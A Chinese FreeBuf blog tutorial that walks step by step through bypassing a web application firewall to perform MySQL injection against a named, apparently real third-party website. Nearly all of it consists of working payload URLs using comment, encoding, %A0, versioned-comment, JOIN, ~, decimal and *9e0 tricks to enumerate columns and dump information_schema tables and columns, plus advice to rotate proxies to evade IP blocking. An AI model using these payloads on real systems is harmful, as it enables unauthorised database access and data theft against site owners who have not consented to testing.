*本文作者:blacksunny;本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
一、前言
本人喜欢遇到好的东西,乐于分享,关注freebuf有段时间了,写过两篇文章,每次写写文章,不仅仅是为了挣点稿费。而是通过此平台能够认识一些安全圈的小伙伴,互相学习,共同进步。在安全行业也有些曲折,发过工控协议fuzzing的入门教程,也发过无线安全的渗透测试脚本。这次发个web的吧。仅供学习,本人也是小菜。大牛直接飞过吧。
二、综述
最近在研究web安全,感觉不掌握点绕过技巧,没法混,在看了几天的关于sql注入绕过的方式后,大都是宏观的讲解有哪些绕过方式。简单的总结了下:
1、注释方式绕过
2、编码方式绕过
3、大小写方式绕过
4、缓冲区溢出导致拒绝服务从而绕过(fuzz技术)
这是目前几天所看到的,有好的思路的小伙伴,可以随时交流。之前建了一个无线电安全研究的群:163309269。欢迎不限于研究无线电、物联网安全的大牛加入。
这次主要是看到国外大牛对mysql注入测试的一些思路,然后自己整理下,分享下。对于只看宏观文章,没有实战的演练,无疑是很好的案例。
三、具体实现
本次测试是以如下站点为例:http://www.ecgi.org/wp/wp_id.php?id=123
1、首先加入单引号http://www.ecgi.org/wp/wp_id.php?id=123’,出现下面提示:owner has denied your access to the site.然后尝试bypass。
2、然后在输入如下测试链接:http://www.ecgi.org/wp_id.php?id=123’oRder By 100-- - 会再次阻塞我们的 IP地址,拒绝我们访问。
3、尝试Group By,测试链接为:http://www.ecgi.org/wp/wp_id.php?id=213’Group By 100 -- - 出现Unknown column ‘100’in ‘group statemeat’。这里代表Group By可以工作,waf不能阻塞。
然后用如下测试:这里代表是25列。
4、下面测试如何Bypass Order By。通过手工测试发现只要Order和By连在一起就会被waf阻塞。通过测试payload 为:http://www.ecgi.org/wp/wp_id.php?id=213’Order%A0By 100 出现报错,说明waf没有过滤,已经可以bypass。
这里还有一种方式:payload为:http://www.ecgi.org/wp/wp_id.php?id=213’/**_**//*!50000Order*/ By 100 -- -
依然可以报错,说明也可以bypass waf。
5、接下来进行联合查询,使用union select。使用手工测试下:http://www.ecgi.org/wp/wp_id?id=123’UnIoN SeLeCt 发现被waf拦截。下面再次尝试bypass。
首先手工判断下过滤字段是什么,经过测试发现只要UnIoN和SeLeCT连在一起,就会别waf拦截。那么开始写paylaod来绕过吧。
payload为:http://www.ecgi.org/wp/wp_id.php?id=213’/**_**/UnIoN(/*!50000SeLeCt*/1,2 -- - (温馨提示,有些waf可能会在攻击者较多测试过程中会封锁IP,建议使用代理不断更新自己的IP地址)。这里报错,说明已经bypass了。
上面知道了column是25,那么我们可以构造payload为:
http://wwww.ecgi.org/wp/wp_id.php?id=-213’/**_**/UnIoN(/*!50000SeLeCt*/1,2,3,4444444444444,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25)-- - 来进行测试:发现在Title中爆出我们填写的数据。
在UnIoN和SeLeCt直接过滤情况下,还可以尝试另一种方式来进行测试,从而绕过waf。
http://www.ecgi.org/wp/wp_id.php?id=213’UnIoN%A0SeLeCT 1,2 -- -
这里会报错,说明可以bypass。
但是在联合查询的时候,查询填充的列分割较多时,就会别waf拦截。如下payload为:
http://www.ecgi.org/wp/wp_id.php?id=213’UnIoN%A0SeLeCT 1,2,3,4,5,6 -- -
这里存在几种绕过方式:
(1)使用Join查询
payload构造为:
http://wwww.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT*FrOm(SeLeCt 1)a JOIN (SeLeCt 2)b JOIN (SeLeCt 3)c JOIN (SeLeCt 4)d JOIN (SeLeCt 5)e JOIN (SeLeCt 6)f JOIN (SeLeCt 7)g JOIN (SeLeCt 8)h JOIN (SeLeCt 9)i JOIN (SeLeCt 10)j JOIN (SeLeCt 11)k JOIN (SeLeCt 12)l JOIN (SeLeCt 13)m JOIN (SeLeCt 14)n JOIN (SeLeCt 15)o JOIN (SeLeCt 16)p JOIN (SeLeCt 17)q JOIN (SeLeCt 18)r JOIN (SeLeCt 19)s JOIN (SeLeCt 20)t JOIN (SeLeCt 21)w JOIN (SeLeCt 22)x JOIN (SeLeCt 23)y JOIN (SeLeCt 24)z JOIN (SeLeCt 25)2a-- -
如下图所示,bypass成功!
(2)使用字符(~)
payload构造为:
http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,5,~6-- -
这里依然被waf拦截。
然后在5前面加入~,payload为:
http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,~5,~6-- -
如图所示,bypass成功!
(3)使用小数点(.)
payload构造为:
http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,.5,.6-- -
如图所示,bypass成功!
(4)使用单引号(‘’)
payload构造为:
http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,’5’,’6’-- -
如图所示,bypass成功!
(5)使用双引号(“”)
payload构造为:
http://www.ecgi.org/wp/wp_id?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,”5”,”6”-- -
如图所示,bypass成功!
(6)使用字符(*9e0)
payload构造为:
http://www.ecgi.org/wp/wp_id.php?=213’*9e0UnIoN
SeLeCT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- -
如图所示,bypass成功!
6、上面基本绕过之后,开始尝试爆数据。
首先我们爆一下information_schema的table_name.
构造payload为:
http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN
SeLeCT 1,2,3,ConCat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 FrOm Information_schema-- -
这里被waf拦截。
好吧,继续bypass操作。。。
首先通过手工尝试,看看过滤什么字段,通过测试过滤了FrOm。我们这里可以选择上面的一些绕过方式,比如
%A0或者/*!50000*/都没有成功。
下面来讲一下通过其他两种方式来进行bypass测试。
(1)在FrOm前加e0 来bypass
构造payload:
http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN
SeleCT 1,2,3,ConCat(table_name)5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25e0FrOm Information_schema-- -
如图所示,发现报错,说明bypass成功!
然后在构造完整的查询。Information_schema.Tables。如图所示:oh shit....依然被waf拦截。
接着分析绕过吧,通过手工测试,waf过滤的是小数点(.)。那么构造payload吧:
http://www.ecgi.org/wp/wp_id.php?od=213’*9e0UnIoN
SeLeCT 1,2,3,ConCat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25e0FrOm Information_schema./**_**/Tables-- -
如图所示,bypass成功!
(2)加小数点来bypass
payload为:
http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN
SeLeCT 1,2,3,ConCat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./**_**/Tables-- -
如图所示,bypass成功!
7、下面来让我们打印出information_schema数据库的所有的表和列吧。
测试payload的为:
http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN SeLeCT 1,2,3,Group_ConCat(0x3c6c693e,table_name,0x3a3a3a3a3a,column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./**_**/columns-- -
如图所示:
8、接着来打印primary DATABASE。好吧,这里被过滤了where。
http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN SeLeCT 1,2,3,Group_ConCat(0x3c6c693e,table_name,0x3a3a3a3a3a,column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./**_**/columns Where-- -
下面尝试绕过,废话不多数,绕过方式使用/*!50000*/。如图所示:
9、我们想查询出插入的一句话,这里以大牛为例:INSET BY SAJIB。
把这段字符转换为hex,好吧,这里被waf拦截了,说明过滤了Hex Convert Number。如图所示:
那么我们可以尝试把字符改为二进制(text to binary Convert)来绕过。可以bypass。(需要注意的是二进制前面一定要加0b)
四、总结
绕过方千变万化,思路+知识积累是不可或缺的。希望这篇文章对学习bypass的小伙伴有用。本人也在学习和搜集关于oracle的一些绕过waf技巧,有感兴趣的可以互相学习,探讨。
参考链接主要是国外一位大牛的视频教程:
https://www.youtube.com/watch?time_continue=1493&v=t84zwRF33jU
*本文作者:blacksunny;本文属 FreeBuf 原创奖励计划,未经许可禁止转载。